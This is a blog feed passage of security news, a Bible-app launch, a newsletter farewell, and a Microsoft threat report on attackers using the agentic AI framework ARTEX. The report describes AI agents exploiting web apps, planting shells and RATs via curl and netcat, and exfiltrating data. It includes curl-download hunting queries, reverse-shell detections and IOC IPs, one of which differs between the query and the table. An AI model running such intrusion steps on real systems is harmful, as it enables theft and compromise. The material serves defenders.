Chainalysis took Know Your Transaction (KYT), address screening, Reactor, and related services offline while investigating. As of early November 6, it began phased restoration of KYT and screening tools, requiring all users to reset passwords and rotate API keys. Trusted IP allowlisting is being enforced for restored access. The firm reports no evidence that investigation graphs, cases, transaction results, or attribution data were accessed or altered.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

The language around “agentic techniques” points to AI agents as part of the intrusion—an industry signal amid rising AI-driven attacks. Chainalysis serves law enforcement and compliance customers; the exposure of live tokens and password hashes creates immediate account-takeover risk even if cleartext passwords and MFA secrets were not confirmed stolen. Customers should treat every account as potentially compromised, reset credentials via the official site (not email links), and monitor for anomalous activity.

OpenAI’s GPT-6 Cyber Finds 81 High-Severity Firefox Flaws and Builds 948 Linux Kernel Exploits

OpenAI released GPT-6 Cyber, a restricted-access model specialized for vulnerability research. Rated “Critical” under the company’s Preparedness Framework (up from “High” for its predecessor), it is initially available only to approved Daybreak Red customers via API and Codex.

In research runs, the model uncovered 81 previously unknown high-severity vulnerabilities in Firefox—bugs that earlier AI testing had missed—and demonstrated that 30 known issues were more severe than reported. Mozilla has shipped fixes for many of them. On the Linux kernel, GPT-6 Cyber reproduced 1,724 vulnerabilities and generated working local privilege-escalation exploits for 948 of them (more than five times the 166 achieved by GPT-5.6 Sol under the same setup). OpenAI disclosed 304 critical findings to maintainers along with candidate patches. One research campaign cost roughly $1.2 million in API credits.

The results illustrate both the defensive upside (faster discovery and patching of hard-to-find flaws in widely used software) and the dual-use risk of highly capable offensive AI. Firefox users should ensure automatic updates are enabled; Linux administrators should prioritize kernel updates and limit local privilege where possible.

Second Wave of Freezer Hacks Hits European Supermarkets; French Blood Banks Also Targeted

A second wave of cyberattacks against refrigeration controllers struck supermarkets across Europe in early November, following a similar October campaign in France. Attackers remotely raised freezer and fridge temperatures—sometimes to 50 °C (122 °F)—forcing stores in Belgium, Sweden, Ireland, Luxembourg, Estonia, Finland, the Netherlands, and elsewhere to discard spoiled food. Chains including Carrefour, Delhaize, ICA, Coop, and SuperValu reported impacts. No ransom demands or public claims of responsibility have appeared.

The same class of internet-exposed industrial controllers was used against French blood-bank cold storage. At three Établissement français du sang (EFS) plasma sites, temperature and defrost thresholds were pushed to extreme levels (reports cited attempts to reach ~110 °C). Alarms and staff response prevented loss of blood products; supplies were transferred or secured. France’s ANSSI and other agencies are investigating. Common vectors involve devices such as Danfoss AK-SM/AK-SC series left on the public internet with default credentials or unpatched software.

These incidents highlight the fragility of operational technology in food and healthcare cold chains and the potential for low-complexity hybrid-style disruption. Operators should isolate refrigeration controllers from the internet, change default credentials, apply vendor patches, and monitor for anomalous temperature commands.

Binance Details How Fake Job Interviews and AI Tool Abuse Enabled $6.3 Billion Theft

Binance published findings on the record ~$6.3–6.43 billion crypto heist (attributed by the FBI to North Korea-linked TraderTraitor). The multi-month campaign combined social engineering, malware, and abuse of internal tools.

In June, one engineer installed a tampered Homebrew package while seeking an AI coding tool; Binance detected and remediated the device, but the attackers learned about wallet-team personnel. In September, a different engineer was contacted via a legitimate job platform by someone posing as a Project Director. After video interviews (including one with a purported CEO who shared social-media photos and videos to build trust), the engineer downloaded a malicious “assignment” repository onto a work laptop. The malware evaded detection, replaced a legitimate tool component, and established command-and-control. Attackers later leveraged the compromised host and an internal AI tool to pivot to other wallet engineers’ systems and execute unauthorized transfers in late October.

The case underscores the sophistication of state-linked social engineering against crypto infrastructure and the risk of AI tooling once endpoint access is obtained. Organizations should treat unsolicited coding assignments with extreme caution, enforce strict device controls, and segment access to high-value systems.

Barracuda Email Security Gateway Flaws Chain to Unauthenticated Root Access

Barracuda patched two vulnerabilities that can be chained for root access on Email Security Gateway (ESG) appliances without a valid login. CVE-2026-116606 (CVSS 9.3) is a pre-authentication authorization bypass allowing an unauthenticated attacker who can reach the admin interface to restore a crafted configuration backup and alter global settings. CVE-2026-111560 (CVSS 8.6) is a command-injection flaw in the timezone field (shared across several Barracuda products) that executes OS commands as root.

On ESG, the bypass provides the administrative context needed for the injection, yielding full root. Patches were released around November 2–3; researchers at watchTowr and Mandiant detailed the chain. Prior ESG incidents (e.g., the 2023 zero-day) make rapid patching essential. Organizations should update to the latest firmware, restrict administrative interface exposure, and review logs for unexpected configuration restores or timezone changes.

These stories illustrate the dual-use nature of AI in offense and defense, the continuing exposure of industrial control systems, and the effectiveness of social engineering against high-value targets. Prioritize patching, credential rotation, network segmentation, and verification of unsolicited “assignments” or configuration changes.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

Meet Byanukh: The Bible, One Verse at a Time

By: Rod Trent
6 November 2026 at 11:02

Most of us know the feeling. You open a Bible app with the best of intentions, and you’re met with a wall of tiny text. Two paragraphs in, your mind has wandered to the grocery list, the email you forgot to send, the thing someone said yesterday. You close the app. Tomorrow you try again, and the same thing happens.

Meanwhile, the same phone holds apps that can keep us scrolling for an hour without our noticing. One thing on screen at a time, a flick of the thumb, and the next thing appears.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

So I asked a simple question: what if reading the Bible felt like that?

That question became Byanukh, and today I’m glad to share it with you.

What is Byanukh?

Byanukh is a Bible reader built like TikTok. Each verse fills the whole screen. Swipe up, and the next verse appears. That’s the whole idea, and it changes more than you’d expect.

The name is the phonetic spelling of the Scottish Gaelic word Beannachd, which means “blessing.” That’s what I hope it is for you.

It’s free, it runs in any modern browser on your phone, tablet or computer, and you can install it to your home screen like any other app. (Android folks: it’s coming to Google Play soon.) You don’t need an account to start. Just go to byanukh.app and begin swiping.

Built for minds that wander (including ADHD and neurodivergent readers)

I want to say this part plainly, because it’s at the heart of why Byanukh exists.

Traditional Bible reading assumes a kind of attention that many people don’t have, or don’t have every day. If you live with ADHD, or you’re autistic, dyslexic, anxious, exhausted, or just wired differently, a page packed with columns, verse numbers, footnotes and cross-references can feel like a wall rather than a doorway.

Byanukh was designed around a different kind of reader:

  • One idea per screen. Each verse stands alone on its own card, so you take in one thought at a time. Nothing competes for your eyes. Scripture’s ideas get naturally segmented, verse by verse, so they’re easier to absorb and easier to remember.

  • Calm, readable type. Large, clear serif text with plenty of space around it, in a warm light theme or a soft dark theme that follows your device.

  • Small, finishable steps. Every swipe is a tiny win. You’re never staring at how much is left on the page, only at the verse in front of you.

  • Momentum without pressure. The next verse is always one flick away, and you can stop anytime. Byanukh remembers exactly where you were.

  • Explain, right on the verse. When a verse is confusing (and plenty are), tap Explain. You get a short, plain-language breakdown: the setting, who’s speaking, what it means, and the key words, alongside an introduction to the book you’re reading. No need to leave the app, open a commentary, or lose your place and your focus.

  • Listen instead of read. On days when reading text is hard, Byanukh can read the verses aloud using your device’s voice, moving to the next verse on its own.

The goal is simple: take away the friction between you and the Word.

Three ways to read

1. Read the whole Bible, cover to cover

Pick any book, chapter and verse, and start swiping. Chapters flow straight into the next, and books flow into the next book, so you never hit a dead end.

Want structure? Choose a reading plan:

  • The Bible in a Year: Genesis to Revelation, cover to cover

  • New Testament in 90 Days

  • The Gospels in about a month

  • Psalms in 60 Days

  • Proverbs in 31 Days

Each day’s reading opens right in the feed and ends with a “mark day done” card. Your Progress page fills in a tile for every book of the Bible as you read it, and shows your percentage of the whole Bible and your daily streak.

2. Find the verses you need, when you need them

Some days you don’t need a plan. You need a word for right now.

Topics are hand-picked verse feeds for the moments of life:

  • “When you’re feeling…” afraid, anxious, grieving, lonely, angry, discouraged, hopeless, doubting, guilty, weary, tempted, or in need of help

  • “Growing in…” honesty, patience, forgiving others, gratitude, strength and courage, wisdom, love, and more

Every verse links back to its full chapter, so you can see it in context. And for the heaviest topics, like grief and hopelessness, Byanukh also shows where to find crisis support, because sometimes a verse isn’t all you need. In the US, that’s the 988 Suicide & Crisis Lifeline (call or text 988). Anywhere else in the world, findahelpline.com lists free, confidential helplines in your country.

3. Go deeper with devotionals

The Explore tab holds devotional series written for Byanukh. Each day is a short swipe through a passage, a reflection, a question to sit with, a prayer, and a journal prompt. Your journal answers are saved.

Series include:

  • Seven Days on Forgiveness

  • Do Not Worry: A Week of Peace

  • Seasonal series that open on the church calendar: Advent: Light in the Dark, Christmas: The Word Made Flesh, New Mercies: A Week for the New Year, and Holy Week: The Road to the Cross

Everything Byanukh can do

Here’s the full list:

  • Swipe-to-read feed. One verse per full-screen card. On a computer, use the arrow keys, J/K, or the space bar.

  • Go anywhere. Jump to any book, chapter and verse.

  • Two translations. The King James Version (KJV) and the World English Bible (WEB). Switch anytime and stay on the same verse.

  • Explain. A plain-language explanation of any verse (setting, speaker, meaning, key words), plus an introduction to every one of the 66 books.

  • Topics. Hand-picked verses for how you’re feeling and what you’re growing in.

  • Devotionals. Daily passage, reflection, question, prayer and journal prompt, with seasonal series.

  • Reading plans. From Proverbs in a month to the whole Bible in a year.

  • Daily reminders. A gentle push notification at the hour you choose, skipped on days you’ve already read. It shows your next plan reading or the verse of the day. Prefer your calendar? Add a daily reading event instead.

  • Listen. Verses read aloud, advancing on their own, with the screen kept awake.

  • Save verses. Double-tap a verse (or tap the heart) to keep it.

  • Memorize. Practice saved verses across five levels, from reading the full verse down to first letters only.

  • Verse images. Turn any verse into a beautiful square or story-sized image, in a dark “Night” or warm “Vellum” style, ready to share or download.

  • Share links. Send a verse to a friend, and the link preview shows the verse itself.

  • Reading groups. Start a group, invite people with a link, and read a plan together from the same start date. Members see each other’s names and plan days done, and nothing else.

  • Progress and streaks. A tile for every book that fills as you read, plus your daily streak.

  • Year in review. Days read, streaks, your best month, and verses kept.

  • Works offline. The app and Scripture are kept on your device, and you can save a whole translation for reading with no signal at all.

  • Installable. Add it to your home screen and it opens like a native app. A Google Play version is on the way.

  • No account needed. Everything is stored on your device by default.

  • Optional sync. Sign in with Google, or with just your email (no password), and your reading, plan, streak, saved verses and place sync across all your devices.

Why I built it

I’ve spent a lot of my life around technology, and I’ve watched how well our apps hold our attention. I don’t think that attention is wasted on everything; I think it’s been aimed at the wrong things.

Byanukh is my small attempt to turn the same design toward something that actually feeds the soul. Not to make Scripture shallow, but to make it reachable: one verse, one thought, one swipe at a time.

“Thy word is a lamp unto my feet, and a light unto my path.” (Psalm 119:105, KJV)

A lamp doesn’t light the whole road at once. It lights the next step. That’s how Byanukh works too.

Try it today

Head to byanukh.app on your phone, swipe up, and see how it feels. Add it to your home screen, pick a plan or a topic, and let me know what you think.

If it helps you, please share it with someone who’s always wanted to read the Bible but never found a way that stuck. That might be exactly who this was made for.

Beannachd. Blessings.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

THE PROMPT for Microsoft Security - Issue #90

By: Rod Trent
6 November 2026 at 07:31

Things from Me

For almost six years, THE PROMPT for Microsoft Security has landed in your inbox nearly every Friday morning. It started back in late 2020 out of necessity: partners and customers needed a way to keep up with how fast the Microsoft Security platform was moving – the updates, the new features, and all the great content coming from the community. It began life on Revue (Twitter’s old newsletter tool), migrated to Substack in early 2023 (the first Substack issue was #57 in January 2023), and later grew to include Security Copilot and related content, trading its original name, “Microsoft Defender Weekly Wrap,” for the one you know today. Through all of it, the Friday-morning cadence never changed.

But, as with everything, things change. Life and work have made keeping up with this every week increasingly difficult. So, even though my blog will continue on its normal path and frequency, this particular newsletter is ending.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

It’s also worth being candid about something else. Over the past year or so, the steady stream of layoffs, retirements, reorgs, and redirections across the industry – including within Microsoft – has had a real impact on the kind of content that’s available to share. Many of the people who wrote the deep-dive blogs, built the community tools, recorded the videos, and answered questions in the forums have moved on to new roles or new companies, or simply have new priorities. Teams have been combined, product focus has shifted, and some great sources of content have gone quiet. The result is that there’s less of the hands-on, community-driven material that made this newsletter so valuable each week, and curating a full issue has become a much bigger challenge than it used to be.

And, additionally, like everything in life, my focus has changed. While I was squarely in the Microsoft Security stack for the past few years, I’m now more focused on development and security Agents and that doesn’t always fit neatly within the Microsoft Defender tools. More to come on this.

It’s been an amazing time and an amazing chance to connect with all of you – more than 30,000 readers every week – and to share Microsoft content with the community. Thank you for reading, sharing, and sending feedback along the way.

Instead of leaving everyone in the lurch, though, I’m happy to point you somewhere great. Ex-Microsoftie Merill Fernando has announced an expansion of his newsletters, so you can keep getting your Microsoft Security fix every week. Check out Merill’s announcement.

Image

See you on the blog. That’s it for me for this particular newsletter.

Talk soon.

-Rod

Things to Attend

Microsoft Entra deep dives: Join our December 15–17 webinar series - Go beyond the Microsoft Ignite announcements with new demos and practical guidance on adaptive access, identity governance, and AI agent security.

Things that are Related

​​​​What’s new in Microsoft Security: November 2026 - Endpoint administrators need to keep elevated access accountable at scale. Security teams also need a clearer view of expert-led protection and a simpler way to deploy SQL Server protection in Azure Government. As AI agents gain access to business data and tools, organizations need ways to limit their authority and adapt protection as risk changes. This month’s Microsoft Intune and Microsoft Defender updates introduce capabilities across these areas, alongside new Secure AI capabilities for agent access. A recent Secure Now update in Microsoft Security Exposure Management also connects information on recent threats to focused initiatives for reducing exposure.

What exploited vulnerabilities have in common: A data-driven analysis of real-world attacks - The vulnerability landscape continues to expand. From 1999 through September 2026, approximately 383,000 software vulnerabilities had been disclosed across platforms and technologies, yet only about 2,000 CVEs (roughly 0.5%) have been linked to real-world exploitation.

Client-side threat detection: how Scareware blocker uncovered malicious notification abuse - Edge has been fighting notification spam for years and there are multiple workstreams actively detecting and blocking them by the billions. But now we’re improving protections using intelligence in the Edge browser and making it easier to report scams.

Securing AI Adoption in the DIB-Part 2: Microsoft’s Approach to Discovering & Securing AI - In Part 1 of this series, we examined how AI is changing the risk landscape for the Defense Industrial Base (DIB). Those risks span three layers: how people use AI, the AI applications organizations build and deploy, and the platforms that host them. Agents add a new dimension, acting as non-human identities that hold credentials, access data, and take actions on behalf of users. Yet the most significant risks remain rooted in identity, access, data governance, monitoring, and lifecycle management. These are familiar problems, and they can be solved by extending Zero Trust. Part 2 describes Microsoft's approach to AI security and walks through the first two priorities, Discover & Observe and Secure, using capabilities available in GCC High today.

The CISO Cheat Sheet to Microsoft Digital Defense Report 2026 - The Microsoft Digital Defense Report (MDDR) 2026 covers July 2025 to June 2026. Here are the key trends, numbers and top 10 security priorities security leaders need to know.

New Investments to Reduce On-Premises Security Risk - On-premises servers can be essential to business operations, but they are increasingly attractive targets to attackers. AI can help less-skilled actors analyze software, develop malicious tools, and repeat attack workflows at greater speed and scale, shortening the window between exposure and exploitation. Organizations need to strengthen security faster without disrupting the critical workloads they rely on.

Uncredited by Rod Trent

Things in the News

Microsoft named a Leader in the 2026 Gartner® Magic Quadrant™ for AI Agent Management Platforms - Microsoft has been named a Leader in the inaugural 2026 Gartner® Magic Quadrant™ for AI Agent Management Platforms. We believe this recognition reflects Microsoft’s approach to helping organizations manage, secure, and scale their AI investments through Microsoft Agent 365. 

Project Perception Things

Introducing the Project Perception Community - A new place to learn about agentic security, ask questions, and hear directly from the people building and using it.

Defender for Cloud Things

Arc proxy support for Defender for SQL Servers on Machines - Defender for SQL Servers on Machines now supports Azure Arc SQL Server instances with Arc proxy enabled, starting with Defender for SQL extension version 2.0.3585.403. Organizations that don’t allow direct internet access from their machines can tunnel outbound communication through Arc proxy and use all Defender for SQL Servers on Machines features.

Defender for Office Things

Email threat landscape: Q3 2026 trends and insights - Microsoft Threat Intelligence detected approximately 7.3 billion email-based phishing threats from July through September, including a sharp increase to nearly 3 billion in September alone, up 41% from August. Yet the increase did not extend across the techniques that had driven threat actor activity earlier in the year. QR code phishing remained far below its early-year peak, while CAPTCHA-gated phishing reversed several months of decline, driven in part by renewed use of SVG attachments.

Beat the ATS: See What Gets Through

Defender Threat Intelligence Things

Fake-download campaign uses trojanized installers to deliver monetization payloads - Microsoft Threat Intelligence has identified an evolving fake-download campaign targeting users searching for cracked commercial software, free games, activators, plugins, and unofficial utilities. The campaign uses trojanized Inno Setup-style installers to distribute multiple monetized software payloads, referred to by the delivery system as “offers”, during a single installation session.

Threat actors use agentic AI tooling to find and abuse exposed secrets - Microsoft Threat Intelligence has observed threat actors using an agentic AI offensive framework to search public GitHub repositories for exposed secrets, including credentials, application credentials, and AI inference-related API keys across multiple applications and cloud services. These threat actors can then use the secrets for further malicious activity against the compromised organization.

Microsoft Entra Things

Global Secure Access: Private and Internet Access in one offering - Employees, and now AI agents, need secure access to resources wherever they live: the internet, Microsoft 365 and SaaS, cloud and datacenter workloads, on-premises apps, and AI services. Zero Trust means evaluating every one of those connections against full context, including identity, risk, device, app and data, location, and network, and enforcing the decision continuously, not only at sign-in. Organizations need to do that without stitching together separate tools and policies.

Grow Any Link on Autopilot

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

ARTEX abuse expands as cybercriminals target financial sector

In October 2026, the financially motivated threat actor Storm-3358 began targeting organizations in the financial sector using the agentic AI offensive framework ARTEX. The threat actor that Microsoft Threat Intelligence tracks as Storm-3358 is a Cambodia-based intrusion cluster that primarily targets financial organizations in Southeast Asia, in addition to a smaller number of large financial organizations globally.

Microsoft has observed Storm-3358 use ARTEX in combination with conventional automated tools to scan systems connected to the public internet, exploit security flaws including anonymous file upload and server-side request forgery (SSRF), and install open-source remote access trojans (RATs). Storm-3358 has used the WISP, vshell, and AdaptixC2 RATs for persistence and lateral movement. Microsoft has observed ARTEX agents using utilities like netcat and curl to download these RATs to compromised systems, as shown in Figure 1.

Figure 1. Example commands that ARTEX agents used to download RATs to compromised systems.

In recent ARTEX-related attacks, threat actors have used ARTEX agents to scan and exploit vulnerabilities in web applications, use web shells for persistence on compromised web servers, compromise credentials from public sources and compromised systems, and use compromised cloud identities for persistence and data exfiltration. ARTEX agents can also perform brute-force password attacks, password spraying, API enumeration and abuse, and database dumping. Agentic tools like ARTEX can leverage compromised credentials and systems at machine speed to move laterally, escalate privileges, and exfiltrate data.

This activity illustrates an ongoing trend of threat actors accelerating all stages of the attack chain with agentic AI penetration testing frameworks, including ARTEX. As these capabilities evolve, defenders must similarly use AI to investigate and respond across large environments.

While threat actors regularly use proxies and virtual private networks (VPNs) to change the source IP address of malicious traffic and bypass static detections, Microsoft is providing indicators of compromise (IOCs) to help defenders detect related activity.

Mitigation and protection guidance

Microsoft’s research into threats involving agentic frameworks informs security detections and investigative context across its products. The capabilities available to customers depend on the source of the activity and the products and protections deployed in their environment.

Several behavioral signals can help organizations determine that they are being targeted by threat actors using agentic AI. Agentic AI frameworks scanning a target send a wide variety of requests in a brief time and retry variations on the same technique or move on to next-stage actions at machine speed. Agentic AI frameworks use existing penetration testing tools. For example, ARTEX by default uses Nmap, curl, wget, Python HTTP clients, Norma SDK WebFetch, and headless Chromium through Playwright, among others. These tools may send network traffic with distinctive characteristics, such as default user agent strings. While blocking network traffic with these characteristics will not stop an attack by an AI agent, which will quickly change them, identifying them can alert defenders to the activity.

Defensive honeypots, decoys, tarpits, and fake wins can pull autonomous AI attacks away from legitimate targets. Honeypots and decoy surfaces such as Microsoft Sentinel Deception give the agent attractive but worthless targets to pursue. Tarpits consume the agent’s time and budget. Fake wins present convincing evidence that the agent’s objective is complete, which can cause it to stop on a false success. In Microsoft’s testing, these controls helped reduce the attack traffic reaching real assets and produced high-confidence, attribution-quality signal.

For additional information on the evolution of threat actors’ use of ARTEX please see Microsoft’s recent blogs: AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise and Threat actors use agentic AI tooling to find and abuse exposed secrets.

Microsoft’s continuous research into threat actors leveraging agentic frameworks integrates directly into the following products:

Identity and sign-in activity — Microsoft Entra ID Protection

Microsoft analyzes sign-in activity and other signals to identify potential identity risk. Customers can investigate risk detections and risky sign-ins, and configure Conditional Access policies that use sign-in or user risk to require multifactor authentication or block access when specified conditions are met. Identity and sign-in activity from known threat actor infrastructure, including from agentic frameworks like ARTEX, generate Verified threat actor IP risk detections delivered at high risk. See:

Endpoint activity — Microsoft Defender for Endpoint

Endpoint alerts help security teams identify and investigate suspicious activity on devices. Indicators of compromise can support detection and, when configured, blocking. Customers can review related alerts in the Microsoft Defender portal. See:

Activity across security domains — Microsoft Defender portal

The portal brings together alerts and incidents from Microsoft security solutions and provides relevant threat intelligence to support investigation, threat hunting, and response. This helps customers assess suspicious activity in the context of their own environment. See:

Security Dashboard for AI

Threat actor misuse of AI accelerates risk across enterprise environments by amplifying existing threats such as exploitation of vulnerabilities, phishing, malware threats, and insider activity. To help organizations stay ahead of AI-enabled threat activity, Microsoft has introduced the Security Dashboard for AI. The dashboard provides users with a unified view of AI security posture by aggregating security, identity, and data risk across Microsoft Defender, Microsoft Entra, and Microsoft Purview. See:

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog. These alerts may trigger on unrelated activity. Customers should investigate to determine if the alert is related to the activity outlined in this blog.

Tactic Microsoft Defender coverage
ExecutionMicrosoft Defender for Endpoint
– Process launched in the background
– Suspicious file dropped and launched
– Suspicious file or content ingress
– Hidden file executed
– Suspicious process executed by network service
– Suspicious piped command launched
– Suspicious process launched by service
– Suspicious process launched from a world-writable directory
– Suspicious script launched
– Suspicious shell execution from PHP application
– Suspicious shell command execution
CollectionMicrosoft Defender for Endpoint
– Enumeration of files with sensitive data
– Suspicious file copy operations
– Suspicious process collected data from local system
Credential accessMicrosoft Defender for Endpoint
– Suspicious access of sensitive files
Defense evasionMicrosoft Defender for Endpoint
– Executable permission added to file or directory
– Obfuscation or deobfuscation activity
– Possible time based evasion
– Suspicious decoding of encoded content into script
– Suspicious file and directory permission modification
– Suspicious file or information obfuscation detected
– Suspicious path deletion
DiscoveryMicrosoft Defender for Endpoint
– Suspicious port scan activity
Command and control (C2)Microsoft Defender for Endpoint
– Possible reverse shell
– Suspicious connection to remote service
– Suspicious curl behavior

Microsoft Defender for Cloud
– Publicly accessible storage containers have been exposed
– Azure Resource Manager operation from suspicious IP address
Lateral movementMicrosoft Defender for Endpoint
– Remote Desktop session
PersistenceMicrosoft Defender for Endpoint
– Possible Web Server compromise activity
– Suspicious cron job creation

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the activity and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting query to find related activity in their networks:

Download of new files using curl

Threat actors might use tools such as curl to download additional files, communicate with C2 infrastructure, or exfiltrate data. This query looks for new files being downloaded using curl. curl also has legitimate uses, so files and hosts should be reviewed to identify potentially malicious activity.

let known_files = DeviceNetworkEvents
    | where TimeGenerated between (ago(7d)..ago(1d))
    | where InitiatingProcessFileName has "curl"
    | extend url = extract("http[s]?:\\/\\/(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+", 0,InitiatingProcessCommandLine)
    | extend ip = extract("(\\b25[0-5]|\\b2[0-4][0-9]|\\b[01]?[0-9][0-9]?)(\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}[^ ]*", 0, InitiatingProcessCommandLine)
    | extend remote_file = iif(isnotempty(url), url, ip)
    | union (SecurityEvent
    | where TimeGenerated between (ago(7d)..ago(1d))
    | where EventID == 4688
    | where CommandLine has "curl"
    | extend url = extract("http[s]?:\\/\\/(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+", 0,CommandLine)
    | extend ip = extract("(\\b25[0-5]|\\b2[0-4][0-9]|\\b[01]?[0-9][0-9]?)(\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}[^ ]*", 0, CommandLine)
    | extend remote_file = iif(isnotempty(url), url, ip))
    | summarize by remote_file;
    DeviceNetworkEvents
    | where TimeGenerated > ago(1d)
    | where InitiatingProcessFileName has "curl"
    | extend url = extract("http[s]?:\\/\\/(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+", 0,InitiatingProcessCommandLine)
    | extend ip = extract("(\\b25[0-5]|\\b2[0-4][0-9]|\\b[01]?[0-9][0-9]?)(\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}[^ ]*", 0, InitiatingProcessCommandLine)
    | extend remote_file = iif(isnotempty(url), url, ip)
    | union (SecurityEvent
    | where EventID == 4688
    | where CommandLine has "curl"
    | extend url = extract("http[s]?:\\/\\/(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+", 0,CommandLine)
    | extend ip = extract("(\\b25[0-5]|\\b2[0-4][0-9]|\\b[01]?[0-9][0-9]?)(\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}[^ ]*", 0, CommandLine)
    | extend remote_file = iif(isnotempty(url), url, ip))
    | where remote_file !in (known_files)

Microsoft Sentinel

Microsoft Sentinel customers can run the following advanced hunting query to find related activity in their networks:

Detect network IP indicators of compromise using ASIM

The following query checks IP address across data sources in the past 30 days supported by ASIM network session parser.

let lookback = 30d; let 
ioc_ip_addr = dynamic(["199.19.95.66", "199.19.95.67", "199.19.95.68", "91.92.240.238", "85.11.168.45", "178.15.54.129", "31.77.229.35", "85.11.167.52"]); 
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now()) 
| where DstIpAddr in (ioc_ip_addr) 
| summarize FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated), EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Indicators of compromise

Note: Threat actors regularly use proxies and virtual private networks (VPNs) to change the source IP address of malicious traffic and bypass static detections. Microsoft is providing the following sample indicators of compromise (IOCs) to help defenders detect related activity.

IndicatorTypeDescriptionFirst seenLast seen
199.19.95[.]66IP addressWISP C2 node2026-11-02Active as of 2026-11-06
199.19.95[.]67IP addressWISP C2 node2026-11-02Active as of 2026-11-06
199.19.95[.]68IP addressWISP C2 node2026-11-02Active as of 2026-11-06
91.92.240[.]238IP addressARTEX server2026-11-04Active as of 2026-11-06
85.11.168[.]45IP addressARTEX server2026-11-04Active as of 2026-11-06
85.11.167[.]52IP addressC2 server2026-11-04Active as of 2026-11-06
178.16.54[.]129IP addressARTEX server2026-10-19Active as of 2026-11-06
31.77.229[.]35IP addressARTEX server2026-10-28Active as of 2026-11-06

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post ARTEX abuse expands as cybercriminals target financial sector appeared first on Microsoft Security Blog.

Security Check-in Quick Hits: Binance $6.3B Fake Interview Heist, Zyxel GS1900 Zero-Day, GhostMap Android Crash Loop, Marsalek Game-Cheat Stealer & ARTEX AI Bank Attacks

By: Rod Trent
5 November 2026 at 14:01

Binance Details Multi-Stage $6.3 Billion Heist Driven by Fake Job Interviews and Internal AI Tool Abuse

Binance has released a detailed account of the record cryptocurrency theft that occurred around October 29, 2026. The attack was a months-long campaign rather than a single breach. It began in June when an engineer downloaded a tampered developer tool (linked to a search advertisement in some accounts). In September, attackers used a legitimate job platform to contact another engineer, conducted interviews (including with a purported CEO), shared personal social media content to build trust, and tricked the employee into downloading a malicious coding assignment that infected a work laptop with obfuscated malware that evaded endpoint detection.

The compromised access, combined with an internal Binance AI tool, allowed lateral movement to other engineers’ systems and ultimately the wallet authorization infrastructure. The FBI has linked the operation to North Korean-linked actors (TraderTraitor). Binance reports freezing or intercepting roughly $2.85 billion and replenishing the large majority of impacted assets, while commissioning an independent review. The case underscores persistent risks from sophisticated social engineering and the dual-use dangers of internal AI tooling.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

Zyxel GS1900 Switches Hit by Zero-Day That Bypassed Earlier Patch; Nearly 1,000 Devices Compromised

Researchers at Binarly identified CVE-2026-107441, an unauthenticated out-of-bounds write in the web management interface (dispatcher.cgi) of Zyxel GS1900 series switches. It enables OS command execution via crafted HTTP requests from the adjacent network and can yield root-level access. The flaw was exploited in the wild (observed from around mid-August) against approximately 996 devices across 48 countries, with attackers (tracked as Kapibala by GreyNoise) stealing configurations, network details, and hashed root credentials. Many compromised units still used factory defaults.

Critically, a June patch for a related buffer-overflow issue (CVE-2026-7273) did not stop this exploit, as validation checks arrived too late in the processing path. Zyxel released updated firmware (builds ending in .3)C0 on October 22 for ten models (including GS1900-8, -24, and -48 variants) and published an advisory on November 3. Administrators should immediately apply the new firmware, remove internet-facing management interfaces, and change any default credentials.

GhostMap: Android Flaw Lets a No-Permission, No-Code APK Force Persistent Crash Loops

